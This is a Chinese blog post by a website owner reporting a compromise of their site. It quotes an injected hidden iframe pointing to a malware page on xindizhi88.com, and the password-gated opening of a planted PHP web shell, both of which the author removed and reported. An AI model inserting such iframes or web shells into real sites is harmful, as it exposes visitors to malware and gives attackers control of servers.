前两天朋友说我的网站被挂马，当时我没在意，我在自己的电脑上打开自己的网站免费论文网http://www.100paper.com，没发现挂马啊，我用的是费尔杀毒软件，没发现有挂马的迹象，没有报毒啊，自己也就没在意。昨天我来服务器上看看，发现有几个js文件多了点东西，里面都多了一行代码：<iframe src=http://xindizhi88.com/5.htmwidth=1 height=1></iframe>，一看就知道，典型的挂马方式，赶紧删除了，然后又在整个网站搜索了一下xindizhi88.com这个词，再没有发现，就作罢了，心里还高兴呢。今天在服务器上装了一个费尔杀毒软件，竟然发现有一个文件mychannel_ coon.php，打开看到里面的代码：<?php
error_reporting(0); //If there is an error, we'll show it, k?
$password = "ay13y"; // You can put a md5 string here too, for plaintext passwords: max 31 chars.
$me = basename(__FILE__);
$cookiename = "ay13y";
if(isset($_POST['pass'])) //If the user made a login attempt, "pass" will be set eh?
{
if(strlen($password) == 32) //If the length of the password is 32 characters, threat it as an md5.
{
$_POST['pass'] = md5($_POST['pass']);
}
if($_POST['pass'] == $password)
{
setcookie($cookiename, $_POST['pass'], time()+3600); //It's alright, let hem in
}
reload();
}
if(!empty($password) && !isset($_COOKIE[$cookiename]) or ($_COOKIE[$cookiename] != $password))
{
login();
die();
}
//
//Do not cross this line! All code placed after this block can't be executed without being logged in!
//
if(isset($_GET['p']) && $_GET['p'] == "logout")
{
setcookie ($cookiename, "", time() - 3600);
reload();
}
if(isset($_GET['dir']))
{
chdir($_GET['dir']);
}
一看就知道不是什么好鸟，删除！
这个种马的人真够可恶的，经过我仔细查找，发现在我的data目录下，建立一个textdata\1目录，然后写入
这几个文件，其中扩展名vir是费尔杀毒软件自动查找发现是木马后自动加入的，太可怕了!我的站一点安全感都没有了，经过几次查找现在发现两个地址:http://60.190.118.233/3.htm ，http://xindizhi88.com/5.htm，这个两个地址是挂马者用的，我已经把这两个地址举报了，我想一个ip，一个地址所提供的信息肯定能找到这个挂马的人，更可气的是这个挂马的人还用cnzz的统计，见图:
,如果有cnzz人看到了，希望你们不要在为虎作伥，把这个挂马着的详细信息公布一下，也让大家看看，他们都干了些什么。
经过查询这个域名的注册信息如下：
域名刚刚在2008年5月13日注册过的，就给我挂上马了。
具体木马地址：http://xindizhi88.com/ai/Yes.htm
木马名称，菲尔定义的，如图：
ip地址详细信息如下：
不知道是不是温州什么地方的，我举报后，这个 ip肯定会被封的，好像是温州电信机房的，大家看看自己的域名在没在这个ip段上，以免遭殃。
这个挂马的人不知道给谁挂的，还带统计的，应该是按统计数量计算交易金额的，我鄙视这个人，希望早日能抓到这个凶手!